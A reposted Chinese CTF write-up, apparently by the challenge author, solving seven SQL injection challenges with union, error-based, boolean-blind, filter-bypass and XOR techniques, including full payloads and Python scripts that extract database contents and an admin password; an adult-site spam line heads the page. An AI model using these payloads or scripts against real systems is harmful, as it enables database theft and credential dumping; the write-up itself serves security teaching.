日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) >

SDUT-SQL题解

發(fā)布時(shí)間:2024/9/30 39 豆豆
生活随笔 收集整理的這篇文章主要介紹了 SDUT-SQL题解 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

?

?

?

sql01:(GET-無(wú)任何過(guò)濾)http://49.234.136.46:32711/index01.php

首先題目提示要輸入id,那就在url中加入?id=1得到:發(fā)現(xiàn)給了兩個(gè)回顯位

給出提示信息: flag in another table!(假裝自己不是出題人,哈哈哈哈哈)

然后需要找出id的閉合方式:? ? ? ? ? ? ? ?id=1' (報(bào)錯(cuò))? ? ? ? ? ? ? ? ? ? ??id=1' %23(正常,? %23為 #? ?注釋符,后面的語(yǔ)句被注釋掉 )

當(dāng)用單引號(hào)閉合時(shí),發(fā)現(xiàn)有報(bào)錯(cuò),確定id的閉合方式是 單引號(hào)

ok,現(xiàn)在得到的有用信息:? 兩個(gè)回顯位? ? ? ? ?閉合方式為? 單引號(hào)

可用的 注入方式:? ?聯(lián)合查詢? ? ? ?報(bào)錯(cuò)注入? ? …………

(一 )聯(lián)合查詢:?

先用 order by 測(cè) 數(shù)據(jù)庫(kù)當(dāng)前表的 字段數(shù)(列數(shù)):

?id=1' order by 2 %23 //正常 ?id=1' order by 3 %23 // 報(bào)錯(cuò)

說(shuō)明 有 2 個(gè)字段

爆庫(kù)名:

?id=-1' union select 1,database() %23

得到數(shù)據(jù)庫(kù)名: test_flag

爆表名:

?id=-1' union select 1,group_concat(table_name)from information_schema.tables where table_schema = database() %23

得到兩個(gè)表 : flag? 和 users? (因?yàn)榍懊嫣崾菊f(shuō) flag 在另一個(gè)表里面? 那我們只用去 注入 flag 表就行了)

爆 字段:

?id=-1' union select 1,group_concat(column_name)from information_schema.columns where table_name = 'flag' %23

得到兩個(gè)字段? id message

脫庫(kù):(0x7e? 是十六進(jìn)制的 ~? )

?id=-1' union select 1,group_concat(id,0x7e,message)from flag %23

?

得到 flag :?flag{SDUT-HEIHEI-HAHA}

(二)報(bào)錯(cuò)注入:

常用的 兩種簡(jiǎn)單的報(bào)錯(cuò)注入方式:

?id=1' and extractvalue(1,concat(0x7e,(payload))) %23?id=1' and updatexml(1,concat(0x7e,(payload)),1) %23

這里用 第一種?做一個(gè)實(shí)例:

//爆庫(kù)名 ?id=1' and extractvalue(1,concat(0x7e,(database()))) %23只需要將下面的語(yǔ)句放入 payload 位置就可以了//爆表名 select group_concat(table_name) from information_schema.tables where table_schema = database()//爆字段 select group_concat(column_name) from information_schema.columns where table_name = 'flag'//脫庫(kù) select group_concat(id,0x3a,message) from flag

?

SQL2 : 單引號(hào)-GET型-報(bào)錯(cuò)注入 ? ? ? ?http://49.234.136.46:32711/ind02.php?

提示讓輸入 id,那就輸入? ?id=1? ?依次輸入 2,3,4,都是這個(gè)界面,沒(méi)給回顯位

測(cè)閉合方式: 注入 ? ? ? ? ? ? ? ?id=1' (報(bào)錯(cuò))? ? ? ? ? ? ? ? ? ? ??id=1' %23(正常,? %23為 #? ?注釋符,后面的語(yǔ)句被注釋掉 )

說(shuō)明閉合方式是? ?單引號(hào)

那這題最適合的注入方式是? 報(bào)錯(cuò)注入

報(bào)錯(cuò)注入:

常用的 兩種簡(jiǎn)單的報(bào)錯(cuò)注入方式:

?id=1' and extractvalue(1,concat(0x7e,(payload))) %23?id=1' and updatexml(1,concat(0x7e,(payload)),1) %23

?

爆庫(kù)名:

?id=1' and extractvalue(1,concat(0x7e,(database()))) %23

爆表名:

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()))) %23

得到兩個(gè)表:sql2_flag? ?users

爆字段:
?

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name = 'sql2_flag'))) %23

脫庫(kù):

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(id,0x7e,message) from sql2_flag ))) %23

這里發(fā)現(xiàn) 信息沒(méi)有輸出完? 被截?cái)嗔? ? 這是因?yàn)? extractvalues()函數(shù)? 和 updatexml ()這兩個(gè)函數(shù) 最多能輸出 32位字符

所以這里我們? 不采用 group_concat() 函數(shù) 換用? concat()? ?+? limit? x,x? 進(jìn)行一行一行輸出

//這里需要不斷改變 limit x,1 進(jìn)行換行?id=1' and extractvalue(1,concat(0x7e,(select concat(id,0x7e,message) from sql2_flag limit 0,1))) %23?id=1' and extractvalue(1,concat(0x7e,(select concat(id,0x7e,message) from sql2_flag limit 1,1))) %23

?

SQL3 : 單引號(hào)-GET型-布爾/延時(shí)注入-無(wú)過(guò)濾??

? ?http://49.234.136.46:32711/in03d.php

注入: ?id=1? ?

注入 ?id=1'? 不會(huì)報(bào)錯(cuò) ,? 不能用 報(bào)錯(cuò)注入

注入? ? ?id=1' and '1' ='1'? ?%23

確定 閉合方式是? ?單引號(hào)閉合

肯定是用盲注? 具體是用? 延時(shí)注入? 還是? ?布爾注入 取決于個(gè)人喜好

手工 注入可能得 注入一輩子

布爾注入的原理:具體自己去百度:

如果用 布爾注入的話 還是得

先 看 正確時(shí)? 返回的頁(yè)面內(nèi)容長(zhǎng)度? ? ?526

錯(cuò)誤時(shí)? ? 返回的頁(yè)面內(nèi)容長(zhǎng)度? ? ?496

我們就利用這一點(diǎn)? 去一個(gè)一個(gè)字符地爆破

比如:注入:

admin'and ascii(substr((database()),1,1))=117 #//字母 u 的 ascii是 117

這里是截取? 查詢到的數(shù)據(jù)庫(kù)名 的第一個(gè)字母? 然后與? ?字符 'u' 對(duì)比? 如果? 數(shù)據(jù)庫(kù)名的第一個(gè)字母是 u??

這句話就是 是正確的? 就代表? username 是 正確的? ?返回的頁(yè)面內(nèi)容大小為 526

若 數(shù)據(jù)庫(kù)名的第一個(gè)字母不是 u ,這個(gè)注入語(yǔ)句就是 flase? ?即? username是錯(cuò)誤的 ,返回頁(yè)面內(nèi)容的大小為 496

?

直接上腳本:python3

import requestsresult = "" url_template = "http://49.234.136.46:32711/in03d.php?id=2' and ascii(substr(({0}),{1},1))>{2} %23" chars = "-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz,.@&%/^!{}~" url_length = "http://49.234.136.46:32711/in03d.php?id=2' and length(({0})) >{1} %23"def get_result_length(payload,value):for n in range(1,100):url = url_length.format(payload,n)response = requests.get(url)length = len(response.text)if length < value:print("……data length is :" + str(n))return ndef get_db_name(data_length,payload,value):for i in range(1,data_length):for char in chars:url = url_template.format(payload,i,ord(char))response = requests.get(url)length = len(response.text)if length<value: #根據(jù)返回長(zhǎng)度的不同來(lái)判斷字符正確與否global resultresult += charprint("…… data is :"+ result)break#自定義 sql注入語(yǔ)句 payload 分割符 為0 payload = "select database() " # 根據(jù)正確訪問(wèn)時(shí)錯(cuò)誤訪問(wèn)時(shí)返回頁(yè)面文本長(zhǎng)度的不同 來(lái)設(shè)置一個(gè)判斷值 正確時(shí) 返回字節(jié)長(zhǎng)度是 526 錯(cuò)誤時(shí)返回字節(jié)長(zhǎng)度是 496 value = 510 data_length = get_result_length(payload,value)+1 get_db_name(data_length,payload,value) print(result)

只需要改變 payload 語(yǔ)句就可以實(shí)現(xiàn)? 爆庫(kù)名 、表名、字段、脫庫(kù)等操作

這里給出具體的payload:

//爆庫(kù)名 select database()只需要將下面的語(yǔ)句放入 payload 位置就可以了//爆表名 select group_concat(table_name) from information_schema.tables where table_schema = database()//爆字段 select group_concat(column_name) from information_schema.columns where table_name = 'SDUT_flag'//脫庫(kù) select group_concat(username,password) from SDUT_flag select concat(username,0x3a,password) from SDUT_flag limit 3,1

數(shù)據(jù)庫(kù)名:

最終得到 flag:flag{SDUT_hei-hei-hei}? ? ?

?

這里附上 我的另一篇博客的 連接 有興趣的同學(xué)可以看看:(我好難啊! 自己出題,自己搭建服務(wù),自己寫(xiě)題解,嗚嗚)

SQL 盲注GET /POST、布爾型,延時(shí)型Python腳本:

https://blog.csdn.net/vhkjhwbs/article/details/98960802

有不懂的可以聯(lián)系我? qq:1571625800

再說(shuō)一下? 腳本中 的 value 是怎么找的:Firefox? ? 中 按F12? ,然后在url中 注入? ? ? ? 刷新

?

SQL4 : 單引號(hào)-GET型-過(guò)濾or和and-雙寫(xiě)繞過(guò) ? ? ?

? ?http://49.234.136.46:32711/i04dx.php

?

?

注入? ?id=1? ?給了一個(gè)回顯位

注入 ?id=2'? 有報(bào)錯(cuò) 可以用報(bào)錯(cuò)注入

注入? ?id=2'? and '1' ='1' %23? ?還是報(bào)錯(cuò)? ??? 不應(yīng)該啊

仔細(xì)看看報(bào)錯(cuò) 發(fā)現(xiàn)? and 沒(méi)了:應(yīng)該是被過(guò)濾了

還過(guò)濾了啥呢??? 找找提示:

查看頁(yè)面源代碼:發(fā)現(xiàn)有一個(gè)提示:

是一個(gè)base 64 密文 在線解密后得到:?

Your 'and' and 'or' are filtered? ? ?說(shuō) and 和 or 被過(guò)濾了

ok ,用一下雙寫(xiě)繞過(guò),看可不可以,注入: ?id=1' anandd? '1' = '1'? %23? ?正常了

看來(lái)可以用 雙寫(xiě)繞過(guò)? ?

不管是用 聯(lián)合查詢 還是用? 報(bào)錯(cuò)注入,還是 盲注? ?在涉及到? ?and 和 or 這兩個(gè)字符時(shí)需要雙寫(xiě)

anandd

oorr

給出脫庫(kù)的 payload:(特別注意在使用 information_schema 時(shí)? 要雙寫(xiě)成 infoorrmation_schema? ? ,passwoorrd)

?

在用聯(lián)合查詢時(shí) 要先測(cè)? 用 order? by 字段數(shù) (雙寫(xiě)? ?oorrder? by)??這里測(cè)得字段數(shù)為? 3,且回顯位 在 1 號(hào)位

?id=-1' union select group_concat(username,0x7e,passwoorrd),2,3 from ctf %23


flag~flag{daye-lpl-RNG}

?

SQL5 : POST型-無(wú)過(guò)濾 ? ? ? ? ? ? ? ? ? ??http://47.94.36.51:32710/index.php?

隨便輸入: admin? ?admin? 沒(méi)想到 登錄成功? :有兩個(gè)回顯位,可以回顯信息

輸入別的? 就會(huì)出現(xiàn)?usernname or password error!

首先 測(cè)? 閉合方式:

//在username中注入:admin' // usernname or password error!admin' # //登入a' or '1' ='1' # //萬(wàn)能密碼 #會(huì)把 后面的password驗(yàn)證注釋掉 所以不用填密碼

確定閉合方式為? ?單引號(hào)閉合

因?yàn)闆](méi)有報(bào)錯(cuò) 所以不能用 報(bào)錯(cuò)注入

用聯(lián)合查詢 或者? 盲注 都是 可以的

聯(lián)合查詢:

以下注入 都是 在username中注入的? ,password可以不填(因?yàn)橐呀?jīng)被#注釋掉了)


測(cè) 字段個(gè)數(shù):說(shuō)明有 2 個(gè)字段

admin' order by 2 # // 正確admin' order by 3 # //錯(cuò)誤

爆庫(kù)名:

a' union select 1,database() #

?

爆表名

a' union select 1,group_concat(table_name)from information_schema.tables where table_schema = database() #

爆字段::
?

a' union select 1,group_concat(column_name)from information_schema.columns where table_schema = 'users' #

脫庫(kù):
?

a' union select 1,group_concat(username,0x3a,password) from users #

flag:flag{LH-quan-shi_jie_zui_shuai}

?

SQL6 : POST型-布爾/延時(shí)注入 ? ? ? ? ? ? ? ? ? ? ?http://47.94.36.51:32711/index.php

隨便輸入? ?asss? ? ? ? 和 sdfasd? ?提示??username error!

輸入: admin? ?和? admin? ? ?提示password error ! (可知,有一個(gè)username 為 admin,頁(yè)面源代碼中給的 tip 也證實(shí)這一點(diǎn), 其實(shí)這些題就是我出的,假裝自己不是出題人系列? 哈哈哈哈哈哈哈)

還是先測(cè)閉合方式:?

在username 中輸入: 閉合方式為? ? 單引號(hào)

admin' //username error!admin' # //password error!

發(fā)現(xiàn)頁(yè)面只會(huì) 輸出 username error? 和? ? ?password error

不會(huì)報(bào)錯(cuò),也沒(méi)有回顯位 ,那只能用? ?盲注延時(shí)或者布爾了

知道了一個(gè)用戶名為 admin? 那爆出 admin的密碼不就可以得到flag了嘛!

注入點(diǎn)? 在 username

如果用 布爾注入的話 還是得

先 看 username正確時(shí)? 返回的頁(yè)面內(nèi)容長(zhǎng)度? ? ?2859

username? 錯(cuò)誤時(shí)? ? 返回的頁(yè)面內(nèi)容長(zhǎng)度? ? ?2829

我們就利用這一點(diǎn)? 去一個(gè)一個(gè)字符地爆破

比如:注入:

admin'and ascii(substr((database()),1,1))=117 #//字母 u 的 ascii是 117

這里是截取? 查詢到的數(shù)據(jù)庫(kù)名 的第一個(gè)字母? 然后與? ?字符 'u' 對(duì)比? 如果? 數(shù)據(jù)庫(kù)名的第一個(gè)字母是 u??

這句話就是 是正確的? 就代表? username 是 正確的? ?返回的頁(yè)面內(nèi)容大小為 2859

若 數(shù)據(jù)庫(kù)名的第一個(gè)字母不是 u ,這個(gè)注入語(yǔ)句就是 flase? ?即? username是錯(cuò)誤的 ,返回頁(yè)面內(nèi)容的大小為 2829

?

Firefox? 中 按 F12? 點(diǎn)網(wǎng)絡(luò) ,然后分別輸入正確的username 和錯(cuò)誤的username? ?

查看 響應(yīng)包信息:

?

上代碼:
?

import requestschars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_,-.@&%/^!~" result = ""def get_length(value): #獲取要查詢的數(shù)據(jù)的長(zhǎng)度f(wàn)or n in range(1,100):payload = "admin' and length(({0})) ={1} #".format(data_payload,n)data = {"uname":payload,"passwd":"admin"}html = requests.post(url,data=data)length = len(html.text)if length >value:print("……data length is :" + str(n))return ndef get_data(data_length,value): #獲取數(shù)據(jù)global resultfor i in range(1,data_length):for char in chars:payload = "admin'and ascii(substr(({0}),{1},1))={2} #".format(data_payload,i,ord(char))data = {"uname":payload,"passwd":"admin"}html = requests.post(url,data=data)length = len(html.text)if length>value: #根據(jù)返回長(zhǎng)度的不同來(lái)判斷字符正確與否result += charprint("…… data is :"+ result)breakurl = "http://47.94.36.51:32711/index.php" data_payload = "select group_concat(table_name)from information_schema.tables where table_schema = database()" value = 2840 # 根據(jù)正確訪問(wèn)和錯(cuò)誤訪問(wèn)時(shí)返回頁(yè)面文本長(zhǎng)度的不同 來(lái)設(shè)置一個(gè)判斷值,這個(gè)值需要在瀏覽器中 按f12 查看length = get_length(value) +1 get_data(length,value) print(result)

表名:

改一下payload就可以 爆其他的信息:
脫庫(kù):

data_payload = "select password from users where username='admin'"

得到,密碼:asdfasdfasdfsddd

輸入 admin? 和asdfasdfasdfsddd? ?得到flag:

是一段base 64 密文:ZmxhZ3tJJ20tc3VwZXJtYW59ICAgIAoKCg==

解密:flag{I'm-superman} ? ?

?

有興趣的話可以研究一下? ?延時(shí)的腳本?

可以參照我的另一篇博客:https://blog.csdn.net/vhkjhwbs/article/details/98960802

有不懂的可以聯(lián)系我? qq:1571625800

?


SQL7 : POST型-幾乎過(guò)濾所有字符-異或注入

? ? ? ? ?http://47.94.36.51:32710/lalala.html

這個(gè)題有點(diǎn)難度的,

輸入 admin admin? ?提示 : password error!

輸入 admin'? ?admin'? ?提示: username error!

輸入 admin'? ?#? ? ? ?提示:?Illegal character (這里不能確定到底誰(shuí)是非法字符,需要進(jìn)一步測(cè)試)

輸入 admin'#? ? ? ? ? ?提示: password error!

通過(guò)以上 輸入 知道了? 有一個(gè)用戶名為? admin?

? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?閉合方式為? 單引號(hào)

? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?有部分字符被過(guò)濾了 (不知道到底有哪些字符被過(guò)濾了,怎么辦???)

肯定先要測(cè)試 有哪些字符被過(guò)濾了啊!

首先看看有沒(méi)有給提示:

在第一頁(yè)的源代碼里找到了這個(gè)提示:

說(shuō)經(jīng)常查看頁(yè)面源代碼是一個(gè)好習(xí)慣

那肯定有信息在 頁(yè)面源代碼里了,找找看:

在第二頁(yè)的 頁(yè)面源代碼里找到了 一段base 64 密文:

如果你是用 burp suite做代理做本題的話 很容易就會(huì)發(fā)現(xiàn) 這個(gè)tip:

?

base 64 密文:

ICAgICRkYXRhPSBwcmVnX3JlcGxhY2UoJy9bK10vJywiIiwgJGRhdGEpOwogICAgJGRhdGE9IHByZWdfcmVwbGFjZSgnL1ssXS8nLCIiLCAkZGF0YSk7CiAgICAkZGF0YT0gcHJlZ19yZXBsYWNlKCcvWyBdLycsIiIsICRkYXRhKTsJICAgIAogICAgJGRhdGE9IHByZWdfcmVwbGFjZSgnLyYvJywiIiwgJGRhdGEpOwogICAgJGRhdGE9IHByZWdfcmVwbGFjZSgnLyUvJywiIiwgJGRhdGEpOwogICAgJGRhdGE9IHByZWdfcmVwbGFjZSgnL3VuaW9uL2knLCIiLCAkZGF0YSk7CiAgICAkZGF0YT0gcHJlZ19yZXBsYWNlKCcvYW5kL2knLCIiLCAkZGF0YSk7ICAgIA==

解密:把下面的字符全過(guò)濾

$data= preg_replace('/[+]/',"", $data);$data= preg_replace('/[,]/',"", $data);$data= preg_replace('/[ ]/',"", $data); $data= preg_replace('/&/',"", $data);$data= preg_replace('/%/',"", $data);$data= preg_replace('/union/i',"", $data);$data= preg_replace('/and/i',"", $data);

過(guò)濾了? union? 不能用 聯(lián)合查詢?

過(guò)濾了? 逗號(hào)? ?srtsub()函數(shù)就不能按照常規(guī)用法

過(guò)濾了 空格 ,盡量避免用 空格,在需要用到空格的地方 就 用()代替

?

?上腳本:

import requestsurl = "http://47.94.36.51:32710/xxxg.php" char = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/=" result = '' for i in range(1,45):stop = 0for c in char:#兩個(gè)payload的表達(dá)方式不同 都是可以用的 ,任選其一#payload = "admin'^(ascii(mid((select(password)from(users)where(username)='admin')from({})))<>{})^0#".format(str(i),ord(c))payload = "admin'^(ascii(substr((select(password)from(users)where(username)='admin')from({0})))<>{1})^0#".format(str(i),ord(c))data = {'username': payload,'password': '123'}html = requests.post(url, data=data)if 'password' in html.text:result +=cstop =1print(i)print("......" + result)break #匹配到值后內(nèi)循環(huán)停止if stop == 0: #當(dāng)內(nèi)循環(huán)匹配不到值的時(shí)候外循環(huán)就停止print("\n"+result)break

得到admin的密碼 :?wotianxiawudi

登錄后得到:

?

flag{SDUT-wonderful-sss}

如果有什么不懂可以聯(lián)系我q 1571625800

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

總結(jié)

以上是生活随笔為你收集整理的SDUT-SQL题解的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。